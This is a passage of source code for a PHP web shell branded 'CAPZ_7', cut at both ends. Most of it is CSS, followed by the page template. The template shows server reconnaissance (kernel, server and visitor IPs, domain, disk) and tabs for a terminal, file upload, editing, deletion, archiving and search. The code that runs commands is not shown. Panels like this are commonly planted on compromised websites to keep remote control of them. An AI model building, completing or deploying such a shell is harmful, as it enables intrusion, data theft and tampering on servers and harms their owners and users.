.nav-btn.home-btn:hover{background:rgba(0,245,196,.1);} .nav-btn.disabled{opacity:.35;pointer-events:none;} .nav-btn.vw-active{background:rgba(124,92,252,.15);border-color:rgba(124,92,252,.4);color:var(--v2);} .bc{display:flex;align-items:stretch;background:var(--s1);border:1px solid var(--b1);border-radius:var(--rad);margin-bottom:14px;overflow:hidden;overflow-x:auto;white-space:nowrap;scrollbar-width:thin;scrollbar-color:var(--mute) transparent;} .bc::-webkit-scrollbar{height:3px} .bc::-webkit-scrollbar-thumb{background:var(--mute);border-radius:3px} .bc-home{display:flex;align-items:center;justify-content:center;padding:0 14px;height:40px;background:linear-gradient(135deg,rgba(124,92,252,.15),rgba(0,245,196,.08));border-right:1px solid var(--b1);color:var(--v2);font-size:.9rem;flex-shrink:0;cursor:pointer;transition:var(--tr);text-decoration:none;} .bc-home:hover{background:rgba(0,245,196,.12);color:var(--c)} .bc-sep{display:inline-flex;align-items:center;color:var(--mute);padding:0 2px;font-size:.65rem;flex-shrink:0;height:40px;} .bc-seg-clickable{display:inline-flex;align-items:center;height:40px;flex-shrink:0;} .bc-seg-clickable a{display:flex;align-items:center;height:100%;padding:0 9px;color:var(--dim);text-decoration:none;font-family:'Fira Code',monospace;font-size:.72rem;transition:var(--tr);} .bc-seg-clickable a:hover{color:var(--c2);background:rgba(0,245,196,.06);} .bc-seg-plain{display:inline-flex;align-items:center;height:40px;flex-shrink:0;padding:0 9px;font-family:'Fira Code',monospace;font-size:.72rem;color:var(--mute);opacity:.55;} .bc-cur{display:inline-flex;align-items:center;height:40px;padding:0 14px;font-family:'Fira Code',monospace;font-size:.72rem;font-weight:700;color:var(--txt);background:rgba(124,92,252,.08);flex-shrink:0;} .bc-cur i{color:var(--y);margin-right:6px;font-size:.75rem;} .btn{display:inline-flex;align-items:center;gap:6px;border:none;border-radius:var(--rads);cursor:pointer;font-family:'DM Sans',sans-serif;font-weight:700;font-size:.78rem;text-decoration:none;transition:var(--tr);white-space:nowrap;letter-spacing:.02em;flex-shrink:0;} .btn-v{background:linear-gradient(135deg,var(--v),#5c3de0);color:#fff;padding:9px 18px;box-shadow:0 2px 0 rgba(0,0,0,.4),0 0 0 1px rgba(124,92,252,.3);} .btn-v:hover{background:linear-gradient(135deg,var(--v2),var(--v));transform:translateY(-2px);box-shadow:0 6px 20px rgba(124,92,252,.45)} .btn-c{background:transparent;color:var(--c);border:1.5px solid rgba(0,245,196,.4);padding:8px 16px;} .btn-c:hover{background:rgba(0,245,196,.1);border-color:var(--c);transform:translateY(-2px);} .btn-save{background:linear-gradient(135deg,var(--v),var(--c) 150%);color:#fff;padding:9px 22px;font-size:.85rem;box-shadow:0 0 28px rgba(124,92,252,.35),0 2px 0 rgba(0,0,0,.3);} .btn-save:hover{opacity:.88;transform:translateY(-2px);} .btn-ghost{background:var(--ghost);color:var(--dim);border:1px solid var(--b2);padding:8px 16px;} .btn-ghost:hover{color:var(--txt);border-color:var(--b3)} .btn-r{background:rgba(255,61,107,.12);color:var(--r);border:1px solid rgba(255,61,107,.3);padding:7px 14px;} .btn-r:hover{background:rgba(255,61,107,.22);border-color:var(--r)} .btn-o{background:rgba(255,152,0,.12);color:var(--o);border:1px solid rgba(255,152,0,.3);padding:7px 14px;} .btn-o:hover{background:rgba(255,152,0,.22);border-color:var(--o)} .btn-y{background:rgba(255,209,102,.12);color:var(--y);border:1px solid rgba(255,209,102,.3);padding:7px 14px;} .btn-y:hover{background:rgba(255,209,102,.22);border-color:var(--y)} .ab{display:inline-flex;align-items:center;justify-content:center;width:28px;height:28px;border-radius:var(--radp);text-decoration:none;font-size:.74rem;transition:var(--tr);flex-shrink:0;border:1px solid transparent;} .ab:hover{transform:translateY(-2px) scale(1.1)} .ab-open{background:rgba(57,255,126,.08);border-color:rgba(57,255,126,.2);color:var(--g)} .ab-edit{background:rgba(124,92,252,.1);border-color:rgba(124,92,252,.25);color:var(--v2)} .ab-rename{background:rgba(255,209,102,.09);border-color:rgba(255,209,102,.25);color:var(--y)} .ab-copy{background:rgba(0,200,150,.09);border-color:rgba(0,200,150,.25);color:#00ffd8} .ab-dl{background:rgba(0,245,196,.09);border-color:rgba(0,245,196,.25);color:var(--c)} .ab-del{background:rgba(255,61,107,.09);border-color:rgba(255,61,107,.25);color:var(--r)} .ab-zip{background:rgba(255,152,0,.09);border-color:rgba(255,152,0,.25);color:var(--o)} .ab-extract{background:rgba(86,204,242,.09);border-color:rgba(86,204,242,.25);color:#56ccf2} .ab-open:hover{background:rgba(57,255,126,.18);border-color:var(--g)} .ab-edit:hover{background:rgba(124,92,252,.2);border-color:var(--v2)} .ab-rename:hover{background:rgba(255,209,102,.18);border-color:var(--y)} .ab-copy:hover{background:rgba(0,200,150,.18);border-color:#00ffd8} .ab-dl:hover{background:rgba(0,245,196,.18);border-color:var(--c)} .ab-del:hover{background:rgba(255,61,107,.2);border-color:var(--r)} .ab-zip:hover{background:rgba(255,152,0,.18);border-color:var(--o)} .ab-extract:hover{background:rgba(86,204,242,.18);border-color:#56ccf2} .bulk-bar{display:none;align-items:center;gap:8px;padding:9px 14px;background:rgba(124,92,252,.08);border:1px solid rgba(124,92,252,.25);border-radius:var(--rads);margin-bottom:10px;flex-wrap:wrap;} .bulk-bar.active{display:flex;} .bulk-bar span{font-size:.75rem;color:var(--v3);font-weight:600;} .tbl-wrap{background:var(--s1);border:1px solid var(--b1);border-radius:var(--rad);overflow:hidden;overflow-x:auto;} table{width:100%;border-collapse:collapse;min-width:600px} thead tr{background:linear-gradient(90deg,var(--s3),var(--s2));border-bottom:1px solid var(--b2);} th{padding:11px 12px;font-size:.58rem;font-weight:700;text-transform:uppercase;letter-spacing:.16em;color:var(--mute);text-align:left;} .fr{border-bottom:1px solid rgba(30,30,60,.7);transition:background .13s} .fr:last-child{border-bottom:none} .fr:hover{background:rgba(124,92,252,.05)} .fr.selected{background:rgba(124,92,252,.1)!important;} td{padding:9px 12px;vertical-align:middle;font-size:.82rem} .cb-cell{width:34px;padding:9px 8px 9px 12px;} .row-cb{accent-color:var(--v);width:14px;height:14px;cursor:pointer;} .nc{display:flex;align-items:center;gap:10px} .fi-wrap{width:32px;height:32px;border-radius:7px;display:flex;align-items:center;justify-content:center;background:var(--s3);border:1px solid var(--b2);flex-shrink:0;} .fi-folder{color:#ffd166;font-size:.95rem} .fi-file{font-size:.9rem} .fn{font-weight:600;color:var(--txt);word-break:break-all;} .badge-dir{display:inline-flex;align-items:center;gap:4px;padding:3px 9px;border-radius:20px;font-size:.58rem;font-weight:800;letter-spacing:.1em;text-transform:uppercase;background:rgba(124,92,252,.13);color:var(--v2);border:1px solid rgba(124,92,252,.28);} .fsize{font-family:'Fira Code',monospace;font-size:.7rem;color:var(--dim)} .mtime{font-family:'Fira Code',monospace;font-size:.67rem;color:var(--mute);white-space:nowrap} .perms{font-family:'Fira Code',monospace;font-size:.67rem;color:var(--mute);white-space:nowrap} .ac{display:flex;align-items:center;gap:3px;flex-wrap:nowrap} .empty-td{padding:0!important} .empty-state{padding:60px 20px;text-align:center;color:var(--mute);display:flex;flex-direction:column;align-items:center;gap:10px;} .empty-state i{font-size:2.2rem;opacity:.3} .empty-state span{font-size:.82rem} .grid-view{display:grid;grid-template-columns:repeat(auto-fill,minmax(130px,1fr));gap:10px;padding:14px;} .grid-item{background:var(--s2);border:1px solid var(--b1);border-radius:var(--rad);padding:16px 10px 12px;text-align:center;cursor:pointer;transition:var(--tr);position:relative;} .grid-item:hover{background:var(--s3);border-color:var(--b3);transform:translateY(-3px);box-shadow:0 8px 24px rgba(0,0,0,.3);} .grid-icon{margin-bottom:8px;} .grid-name{font-size:.74rem;font-weight:600;color:var(--txt);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;margin-bottom:4px;} .grid-meta{font-family:'Fira Code',monospace;font-size:.62rem;color:var(--mute);margin-bottom:7px;} .grid-actions{display:flex;justify-content:center;gap:3px;flex-wrap:wrap;} .grid-item .grid-actions .ab{width:24px;height:24px;font-size:.67rem;} .panel{margin-top:10px;background:var(--s1);border:1px solid var(--b2);border-radius:var(--rad);overflow:hidden;box-shadow:0 0 0 1px rgba(124,92,252,.1),0 20px 60px rgba(0,0,0,.4);} .panel-hdr{background:linear-gradient(90deg,var(--s3),var(--s2));padding:11px 18px;display:flex;align-items:center;gap:9px;border-bottom:1px solid var(--b2);} .panel-hdr-icon{width:26px;height:26px;border-radius:6px;background:rgba(124,92,252,.2);display:flex;align-items:center;justify-content:center;color:var(--v2);font-size:.78rem;} .panel-hdr-title{font-family:'Fira Code',monospace;font-size:.7rem;font-weight:600;text-transform:uppercase;letter-spacing:.14em;color:var(--v3);} .panel-hdr-name{color:var(--txt);font-weight:400;margin-left:4px;opacity:.8} .panel-body{padding:18px;display:flex;flex-direction:column;gap:12px} .field{width:100%;background:var(--bg);border:1px solid var(--b2);border-radius:var(--rads);color:var(--txt);font-family:'Fira Code',monospace;font-size:.78rem;padding:10px 14px;outline:none;transition:var(--tr);} .field:focus{border-color:var(--v);box-shadow:0 0 0 3px rgba(124,92,252,.12)} .field::placeholder{color:var(--mute)} textarea.field{height:480px;resize:vertical;line-height:1.75;tab-size:4;} .editor-meta{display:flex;align-items:center;gap:8px;padding:7px 13px;background:var(--s3);border:1px solid var(--b1);border-radius:var(--rads);font-family:'Fira Code',monospace;font-size:.67rem;color:var(--dim);flex-wrap:wrap;} .editor-meta span{display:flex;align-items:center;gap:4px} .editor-meta i{color:var(--v2)} .terminal-wrap{background:#000;border:1px solid var(--b2);border-radius:var(--rads);font-family:'Fira Code',monospace;font-size:.78rem;padding:13px 15px;max-height:300px;overflow-y:auto;line-height:1.6;white-space:pre-wrap;word-break:break-all;} .terminal-wrap .tout{color:#0f0;} .terminal-wrap .tprompt{color:var(--c);margin-top:6px;display:block;} .search-result-item{padding:9px 11px;background:var(--s2);border:1px solid var(--b2);border-radius:var(--rads);margin-bottom:7px;display:flex;align-items:center;gap:11px;transition:var(--tr);cursor:pointer;} .search-result-item:hover{background:var(--s3);border-color:var(--v)} .search-result-path{flex:1;font-family:'Fira Code',monospace;font-size:.74rem;color:var(--txt);word-break:break-all;} .search-result-type{font-size:.62rem;color:var(--mute);text-transform:uppercase;background:rgba(124,92,252,.1);padding:2px 7px;border-radius:4px;flex-shrink:0;} /* Tools */ .tools-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(200px,1fr));gap:10px;margin-bottom:16px;} .tool-card{background:var(--s2);border:1px solid var(--b1);border-radius:var(--rad);padding:14px 16px;cursor:pointer;transition:var(--tr);display:flex;flex-direction:column;gap:7px;} .tool-card:hover{background:var(--s3);border-color:var(--b3);transform:translateY(-2px);box-shadow:0 8px 24px rgba(0,0,0,.3);} .tool-card-header{display:flex;align-items:center;gap:9px;} .tool-card-icon{width:32px;height:32px;border-radius:8px;display:flex;align-items:center;justify-content:center;font-size:.88rem;flex-shrink:0;} .tool-card-title{font-weight:700;font-size:.82rem;color:var(--txt);} .tool-card-desc{font-size:.72rem;color:var(--dim);line-height:1.4;} .tool-panel{display:none;margin-top:10px;} .tool-panel.active{display:block;} .tool-section{background:var(--s1);border:1px solid var(--b2);border-radius:var(--rad);overflow:hidden;} .tool-section-hdr{background:linear-gradient(90deg,var(--s3),var(--s2));padding:10px 16px;display:flex;align-items:center;gap:8px;border-bottom:1px solid var(--b2);} .tool-section-body{padding:16px;display:flex;flex-direction:column;gap:11px;} .tool-result{background:var(--bg);border:1px solid var(--b2);border-radius:var(--rads);padding:11px 14px;font-family:'Fira Code',monospace;font-size:.78rem;color:var(--c2);white-space:pre-wrap;word-break:break-all;min-height:48px;line-height:1.6;} .tool-row{display:flex;gap:9px;align-items:center;flex-wrap:wrap;} .tool-label{font-size:.72rem;color:var(--dim);min-width:80px;flex-shrink:0;} .sysinfo-table{width:100%;border-collapse:collapse;font-size:.76rem;} .sysinfo-table tr{border-bottom:1px solid var(--b1);} .sysinfo-table tr:last-child{border-bottom:none} .sysinfo-table td{padding:7px 10px;vertical-align:top;} .sysinfo-table td:first-child{color:var(--dim);font-family:'Fira Code',monospace;font-size:.7rem;width:35%;font-weight:600;} .sysinfo-table td:last-child{color:var(--txt);word-break:break-all;} .chmod-grid{display:grid;grid-template-columns:repeat(3,1fr);gap:8px;} .chmod-group{background:var(--s3);border:1px solid var(--b1);border-radius:var(--rads);padding:10px;} .chmod-group-title{font-size:.65rem;font-weight:700;text-transform:uppercase;letter-spacing:.12em;color:var(--dim);margin-bottom:7px;text-align:center;} .chmod-cb-row{display:flex;flex-direction:column;gap:5px;} .chmod-cb-item{display:flex;align-items:center;gap:6px;font-size:.75rem;cursor:pointer;} .chmod-cb-item input{accent-color:var(--v)} .chmod-result-big{font-family:'Fira Code',monospace;font-size:2rem;font-weight:700;color:var(--v2);text-align:center;padding:12px;background:var(--bg);border:1px solid var(--b2);border-radius:var(--rads);} .copy-btn{background:none;border:1px solid var(--b2);border-radius:4px;color:var(--dim);font-size:.68rem;padding:2px 8px;cursor:pointer;transition:var(--tr);} .copy-btn:hover{color:var(--c);border-color:var(--c)} .tab-tools{color:var(--o)!important;} .tab-tools.active{background:rgba(255,152,0,.12)!important;border-color:rgba(255,152,0,.35)!important;color:var(--o)!important;} /* Modal */ .modal-overlay{position:fixed;inset:0;background:rgba(0,0,0,.88);display:none;align-items:center;justify-content:center;z-index:5000;padding:20px;} .modal-overlay.active{display:flex} .modal{background:var(--s1);border:1px solid var(--b2);border-radius:var(--rad);padding:24px;max-width:460px;width:100%;box-shadow:0 20px 60px rgba(0,0,0,.6);animation:modalIn .22s cubic-bezier(.34,1.56,.64,1);} @keyframes modalIn{from{opacity:0;transform:scale(.92) translateY(16px)}to{opacity:1;transform:scale(1) translateY(0)}} .modal-title{font-size:.95rem;font-weight:700;margin-bottom:14px;color:var(--txt);display:flex;align-items:center;gap:9px;} .modal-title i{color:var(--v2)} .modal-body{margin-bottom:18px;display:flex;flex-direction:column;gap:11px;} .modal-footer{display:flex;gap:9px;justify-content:flex-end;} .confirm-modal-overlay{position:fixed;inset:0;background:rgba(0,0,0,.92);display:none;align-items:center;justify-content:center;z-index:9000;padding:20px;} .confirm-modal-overlay.active{display:flex} .confirm-box{background:var(--s1);border:1px solid var(--b2);border-radius:var(--rad);padding:28px;max-width:400px;width:100%;box-shadow:0 20px 70px rgba(0,0,0,.7);animation:modalIn .2s ease;} .confirm-icon-wrap{width:56px;height:56px;border-radius:50%;display:flex;align-items:center;justify-content:center;font-size:1.4rem;margin:0 auto 16px;} .confirm-icon-wrap.del{background:rgba(255,61,107,.14);color:var(--r);border:2px solid rgba(255,61,107,.3);} .confirm-title{font-size:1rem;font-weight:700;color:var(--txt);text-align:center;margin-bottom:7px;} .confirm-msg{font-size:.82rem;color:var(--dim);text-align:center;margin-bottom:20px;line-height:1.5;} .confirm-file{background:var(--s3);border:1px solid var(--b2);border-radius:var(--rads);padding:8px 14px;font-family:'Fira Code',monospace;font-size:.76rem;color:var(--v3);text-align:center;margin-bottom:18px;word-break:break-all;} .confirm-footer{display:flex;gap:10px;justify-content:center;} #tc{position:fixed;top:20px;right:20px;z-index:9999;display:flex;flex-direction:column;gap:8px;pointer-events:none;} .toast{display:flex;align-items:flex-start;gap:12px;min-width:280px;max-width:400px;padding:0;border-radius:12px;border:1px solid transparent;pointer-events:all;animation:tin .35s cubic-bezier(.34,1.56,.64,1) both;position:relative;overflow:hidden;box-shadow:0 16px 48px rgba(0,0,0,.5);} .toast.hiding{animation:tout .25s ease forwards} .toast-ok{background:linear-gradient(135deg,rgba(6,20,16,.98),rgba(4,16,13,.98));border-color:rgba(0,245,196,.3);} .toast-err{background:linear-gradient(135deg,rgba(24,6,12,.98),rgba(20,4,10,.98));border-color:rgba(255,61,107,.3);} .toast-stripe{width:4px;flex-shrink:0;border-radius:12px 0 0 12px} .toast-ok .toast-stripe{background:linear-gradient(180deg,var(--c),var(--v))} .toast-err .toast-stripe{background:linear-gradient(180deg,var(--r),var(--pk))} .toast-inner{flex:1;padding:13px 12px 13px 0;display:flex;gap:10px;align-items:flex-start} .toast-ico{width:32px;height:32px;border-radius:9px;flex-shrink:0;display:flex;align-items:center;justify-content:center;font-size:.9rem;} .toast-ok .toast-ico{background:rgba(0,245,196,.12);color:var(--c)} .toast-err .toast-ico{background:rgba(255,61,107,.12);color:var(--r)} .toast-content{flex:1;padding-right:20px} .toast-title{font-weight:800;font-size:.65rem;text-transform:uppercase;letter-spacing:.14em;margin-bottom:2px;} .toast-ok .toast-title{color:var(--c2)} .toast-err .toast-title{color:#ff7090} .toast-msg{font-size:.8rem;color:var(--txt);opacity:.88;line-height:1.4;word-break:break-word} .toast-x{position:absolute;top:9px;right:10px;font-size:.72rem;color:var(--mute);cursor:pointer;background:none;border:none;padding:3px 5px;transition:var(--tr);border-radius:4px;} .toast-x:hover{color:var(--txt);background:rgba(255,255,255,.07)} .tbar{position:absolute;bottom:0;left:0;height:2px;border-radius:0 0 12px 12px;animation:tbar var(--dur,4.5s) linear forwards;} .toast-ok .tbar{background:linear-gradient(90deg,var(--c),var(--v))} .toast-err .tbar{background:linear-gradient(90deg,var(--r),var(--pk))} @keyframes tin{from{opacity:0;transform:translateX(70px) scale(.92)}to{opacity:1;transform:translateX(0) scale(1)}} @keyframes tout{from{opacity:1;transform:translateX(0)}to{opacity:0;transform:translateX(70px)}} @keyframes tbar{from{width:100%}to{width:0}} .tab-bar{display:flex;gap:3px;background:var(--s1);border:1px solid var(--b1);border-radius:var(--rad);padding:5px;margin-bottom:14px;flex-wrap:wrap;} .tab{display:flex;align-items:center;gap:5px;padding:6px 13px;border-radius:var(--rads);font-size:.74rem;font-weight:600;color:var(--dim);cursor:pointer;transition:var(--tr);border:1px solid transparent;user-select:none;} .tab:hover{background:var(--s3);color:var(--txt)} .tab.active{background:rgba(124,92,252,.15);border-color:rgba(124,92,252,.35);color:var(--v2);} .tab i{font-size:.76rem} .tab-content{display:none} .tab-content.active{display:block} .editor-banner{background:rgba(124,92,252,.08);border:1px solid rgba(124,92,252,.25);border-radius:var(--rads);padding:9px 14px;display:flex;align-items:center;gap:10px;font-size:.78rem;margin-bottom:10px;} .editor-banner i{color:var(--v2)} .editor-banner a{color:var(--r);font-weight:700;text-decoration:none;margin-left:auto;display:flex;align-items:center;gap:5px;padding:4px 11px;background:rgba(255,61,107,.1);border:1px solid rgba(255,61,107,.3);border-radius:var(--radp);} .editor-banner a:hover{background:rgba(255,61,107,.2)} .input-group{display:flex;gap:7px;align-items:center;} .input-group label{font-size:.72rem;color:var(--dim);white-space:nowrap;min-width:85px;} .field-sm{background:var(--bg);border:1px solid var(--b2);border-radius:var(--rads);color:var(--txt);font-family:'Fira Code',monospace;font-size:.78rem;padding:7px 11px;outline:none;transition:var(--tr);width:100%;} .field-sm:focus{border-color:var(--v);box-shadow:0 0 0 2px rgba(124,92,252,.1)} .field-sm::placeholder{color:var(--mute)} .file-drop{position:relative;display:flex;align-items:center;cursor:pointer;} .file-drop input[type=file]{position:absolute;inset:0;opacity:0;cursor:pointer;width:100%;height:100%;z-index:2;} .file-drop-label{display:flex;align-items:center;gap:7px;padding:9px 14px;background:var(--s3);border:2px dashed var(--b3);border-radius:var(--rads);font-family:'Fira Code',monospace;font-size:.76rem;color:var(--dim);width:100%;pointer-events:none;transition:var(--tr);} .file-drop-label i{color:var(--v2);flex-shrink:0} .file-drop.has-file .file-drop-label{border-color:var(--v);color:var(--txt);background:rgba(124,92,252,.08);} .file-drop:hover .file-drop-label{border-color:var(--v);color:var(--txt)} .file-drop.drag-over .file-drop-label{border-color:var(--c);color:var(--c);background:rgba(0,245,196,.07);} ::-webkit-scrollbar{width:5px;height:5px} ::-webkit-scrollbar-track{background:transparent} ::-webkit-scrollbar-thumb{background:var(--mute);border-radius:4px} ::-webkit-scrollbar-thumb:hover{background:var(--dim)} @media(max-width:640px){ .wrap{padding:12px 10px 60px} .ab{width:25px;height:25px;font-size:.68rem} .cards{grid-template-columns:1fr 1fr} .mtime,.perms{display:none} #tc{top:10px;right:10px} .toast{min-width:240px} .tools-grid{grid-template-columns:1fr 1fr} .chmod-grid{grid-template-columns:1fr} } </style> </head> <body> <div class="bg-layer"></div> <div class="bg-grid"></div> <div class="wrap"> <!-- HEADER --> <div class="hdr"> <div class="brand-block"> <div class="brand-logo"><i class="fa-solid fa-terminal"></i></div> <div> <div class="brand">CAPZ_7</div> <div class="brand-sub"><i class="fa-solid fa-circle" style="color:var(--g);font-size:.42rem"></i> <?=htmlspecialchars($t['brand_sub'])?></div> </div> </div> <div class="hdr-right"> <div class="hdr-pill"><i class="fa-solid fa-folder-tree"></i> <strong><?=$dc_count?></strong> <?=$t['folders']?></div> <div class="hdr-pill"><i class="fa-solid fa-file"></i> <strong><?=$fc_count?></strong> <?=$t['files']?></div> <div class="hdr-pill"><i class="fa-brands fa-php"></i> PHP <strong><?=PHP_VERSION?></strong></div> <div class="hdr-pill"><i class="fa-solid fa-hard-drive"></i> <strong><?=$disk_free?></strong> <?=$t['free']?></div> <!-- FIX: Lang toggle selalu membawa dir parameter agar tidak reset direktori --> <a href="?dir=<?=$eDir?>&tab=<?=urlencode($active_tab)?>&lang=<?=$lang==='id'?'en':'id'?>" class="lang-btn"> <?=$t['lang_icon']?> <?=$t['lang_toggle']?> </a> <!-- Logout button --> <a href="?logout=1" class="btn btn-r" style="padding: 7px 14px;"> <i class="fa-solid fa-sign-out-alt"></i> Logout </a> </div> </div> <!-- INFO CARDS --> <div class="cards"> <div class="card"><div class="card-icon vi"><i class="fa-solid fa-microchip"></i></div><div class="card-lbl"><?=$t['os_kernel']?></div><div class="card-val"><?=htmlspecialchars(php_uname('s').' '.php_uname('r'))?></div></div> <div class="card"><div class="card-icon ci"><i class="fa-solid fa-server"></i></div><div class="card-lbl"><?=$t['server_ip']?></div><div class="card-val"><?=htmlspecialchars($_SERVER['SERVER_ADDR']??'127.0.0.1')?></div></div> <div class="card"><div class="card-icon pi"><i class="fa-solid fa-location-dot"></i></div><div class="card-lbl"><?=$t['remote_ip']?></div><div class="card-val"><?=htmlspecialchars($_SERVER['REMOTE_ADDR']??'127.0.0.1')?></div></div> <div class="card"><div class="card-icon yi"><i class="fa-solid fa-globe"></i></div><div class="card-lbl"><?=$t['domain']?></div><div class="card-val"><?=htmlspecialchars($_SERVER['SERVER_NAME']??'localhost')?></div></div> <div class="card"> <div class="card-icon gi"><i class="fa-solid fa-database"></i></div> <div class="card-lbl"><?=$t['disk_used']?></div> <div class="card-val"><?=$disk_used?> / <?=$disk_total?> <?php if(function_exists('disk_free_space')&&function_exists('disk_total_space')){$pct=round((disk_total_space($current_dir)-disk_free_space($current_dir))/max(1,disk_total_space($current_dir))*100);echo "<div class='disk-bar-wrap'><div class='disk-bar' style='width:{$pct}%'></div></div>";}?> </div> </div> <div class="card"><div class="card-icon ri"><i class="fa-solid fa-clock"></i></div><div class="card-lbl"><?=$t['server_time']?></div><div class="card-val" id="server-clock"><?=date('d M Y H:i:s')?></div></div> </div> <!-- NAV BAR --> <?php $listActive=($view_mode==='list')?'vw-active':'';$gridActive=($view_mode==='grid')?'vw-active':'';?> <div class="nav-bar"> <a href="?dir=<?=$eRoot?>&tab=files<?=$lp?>" class="nav-btn home-btn"><i class="fa-solid fa-house-chimney"></i> <?=$t['home']?></a> <?php if(!$is_root):?> <a href="?dir=<?=$eParent?>&tab=files<?=$lp?>" class="nav-btn"><i class="fa-solid fa-turn-up"></i> <?=$t['up']?></a> <?php else:?> <span class="nav-btn disabled"><i class="fa-solid fa-turn-up"></i> <?=$t['up']?></span> <?php endif;?> <span style="flex:1"></span> <a href="?dir=<?=$eDir?>&view=list&tab=<?=urlencode($active_tab)?><?=$lp?>" class="nav-btn <?=$listActive?>"><i class="fa-solid fa-list-ul"></i> <?=$t['list_view']?></a> <a href="?dir=<?=$eDir?>&view=grid&tab=<?=urlencode($active_tab)?><?=$lp?>" class="nav-btn <?=$gridActive?>"><i class="fa-solid fa-grip"></i> <?=$t['grid_view']?></a> <a href="javascript:location.reload()" class="nav-btn"><i class="fa-solid fa-rotate-right"></i> <?=$t['refresh']?></a> </div> <!-- BREADCRUMB --> <div class="bc"> <a href="?dir=<?=$eRoot?>&tab=files<?=$lp?>" class="bc-home" title="<?=htmlspecialchars((string)$root_dir)?>"> <i class="fa-solid fa-house-chimney"></i> </a> <?php $last = count($crumbs) - 1; foreach ($crumbs as $i => $c): $isLast = ($i === $last); echo "<span class='bc-sep'><i class='fa-solid fa-chevron-right'></i></span>"; if ($isLast): ?> <span class="bc-cur"><i class="fa-solid fa-folder-open"></i><?=htmlspecialchars($c['label'])?></span> <?php elseif ($c['clickable']): $eP = urlencode((string)$c['path']); ?> <span class="bc-seg-clickable"> <a href="?dir=<?=$eP?>&tab=files<?=$lp?>" title="<?=htmlspecialchars((string)$c['path'])?>"> <i class="fa-solid fa-folder" style="color:var(--dim);margin-right:4px;font-size:.7rem"></i><?=htmlspecialchars($c['label'])?> </a> </span> <?php else: ?> <span class="bc-seg-plain" title="<?=htmlspecialchars((string)$c['path'])?>"> <i class="fa-solid fa-hdd" style="margin-right:4px;font-size:.7rem"></i><?=htmlspecialchars($c['label'])?> </span> <?php endif; endforeach; ?> </div> <!-- TAB BAR --> <div class="tab-bar"> <div class="tab <?=$active_tab==='files'?'active':''?>" onclick="switchTab('files')"><i class="fa-solid fa-folder-open"></i> <?=$t['tab_files']?></div> <div class="tab <?=$active_tab==='upload'?'active':''?>" onclick="switchTab('upload')"><i class="fa-solid fa-cloud-arrow-up"></i> <?=$t['tab_upload']?></div> <div class="tab <?=$active_tab==='create'?'active':''?>" onclick="switchTab('create')"><i class="fa-solid fa-plus"></i> <?=$t['tab_create']?></div> <div class="tab <?=$active_tab==='zip'?'active':''?>" onclick="switchTab('zip')"><i class="fa-solid fa-file-zipper"></i> <?=$t['tab_zip']?></div> <div class="tab <?=$active_tab==='search'?'active':''?>" onclick="switchTab('search')"><i class="fa-solid fa-magnifying-glass"></i> <?=$t['tab_search']?></div> <div class="tab <?=$active_tab==='terminal'?'active':''?>" onclick="switchTab('terminal')"><i class="fa-solid fa-terminal"></i> <?=$t['tab_terminal']?></div> <div class="tab tab-tools <?=$active_tab==='tools'?'active':''?>" onclick="switchTab('tools')"><i class="fa-solid fa-screwdriver-wrench"></i> <?=$t['tab_tools']?></div> </div> <!-- TAB: FILES --> <div id="tab-files" class="tab-content <?=$active_tab==='files'?'active':''?>"> <?php if($edit_file):?> <div class="editor-banner"> <i class="fa-solid fa-file-code"></i> <span><?=$t['editing']?>: <strong style="color:var(--v3)"><?=htmlspecialchars($edit_file)?></strong></span> <a href="?dir=<?=$eDir?>&tab=files<?=$lp?>"><i class="fa-solid fa-xmark"></i> <?=$t['close_editor']?></a> </div> <div class="panel"> <div class="panel-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-file-code"></i></div><div class="panel-hdr-title">Editor<span class="panel-hdr-name">โ <?=htmlspecialchars($edit_file)?></span></div></div> <div class="panel-body"> <div class="editor-meta"> <span><i class="fa-solid fa-file"></i> <?=htmlspecialchars($edit_file)?></span> <span><i class="fa-solid fa-weight-hanging"></i> <?=$edit_size?></span> <span><i class="fa-solid fa-code"></i> <?=strtoupper($edit_ext)?:' โ '?></span> <span><i class="fa-regular fa-clock"></i> <?=$edit_mtime?></span> <span><i class="fa-solid fa-align-left"></i> <?=substr_count($edit_content,"\n")+1?> <?=$t['lines']?></span> </div> <form method="post" action="?dir=<?=$eDir?>&tab=files<?=$lp?>" id="editorForm"> <input type="hidden" name="file_name" value="<?=htmlspecialchars($edit_file)?>"> <textarea name="file_content" class="field" id="editorArea" onkeydown="editorTab(event)"><?=htmlspecialchars($edit_content)?></textarea> <div style="margin-top:10px;display:flex;gap:8px;flex-wrap:wrap;align-items:center"> <button type="submit" name="save_file" class="btn btn-save"><i class="fa-solid fa-floppy-disk"></i> <?=$t['save']?></button> <a href="?dir=<?=$eDir?>&download=<?=urlencode($edit_file)?><?=$lp?>" class="btn btn-c"><i class="fa-solid fa-download"></i> <?=$t['download']?></a> <a href="?dir=<?=$eDir?>&tab=files<?=$lp?>" class="btn btn-ghost"><i class="fa-solid fa-xmark"></i> <?=$t['close']?></a> <span style="font-size:.68rem;color:var(--mute);margin-left:auto"><i class="fa-solid fa-keyboard"></i> <?=$t['tab_hint']?></span> </div> </form> </div> </div> <?php endif;?> <?php if($rename_file):?> <div class="panel"> <div class="panel-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-pen"></i></div><div class="panel-hdr-title"><?=$t['rename_title']?><span class="panel-hdr-name">โ <?=htmlspecialchars($rename_file)?></span></div></div> <div class="panel-body"> <form method="post" action="?dir=<?=$eDir?>&tab=files<?=$lp?>" style="display:flex;gap:9px;flex-wrap:wrap;align-items:center"> <input type="hidden" name="old_name" value="<?=htmlspecialchars($rename_file)?>"> <input type="text" name="new_name" placeholder="<?=$t['new_name_ph']?>" class="field-sm" style="flex:1;min-width:180px" required autofocus> <button type="submit" name="rename_file" class="btn btn-v"><i class="fa-solid fa-check"></i> <?=$t['rename']?></button> <a href="?dir=<?=$eDir?>&tab=files<?=$lp?>" class="btn btn-ghost"><i class="fa-solid fa-xmark"></i> <?=$t['cancel']?></a> </form> </div> </div> <?php endif;?> <div class="bulk-bar" id="bulkBar"> <i class="fa-solid fa-layer-group" style="color:var(--v2)"></i> <span id="bulkCount">0 <?=$t['bulk_selected']?></span> <button class="btn btn-r" onclick="bulkDelete()"><i class="fa-solid fa-trash"></i> <?=$t['bulk_delete']?></button> <button class="btn btn-o" onclick="openBulkZipModal()"><i class="fa-solid fa-file-zipper"></i> <?=$t['bulk_zip']?></button> <button class="btn btn-ghost" onclick="clearSelection()"><i class="fa-solid 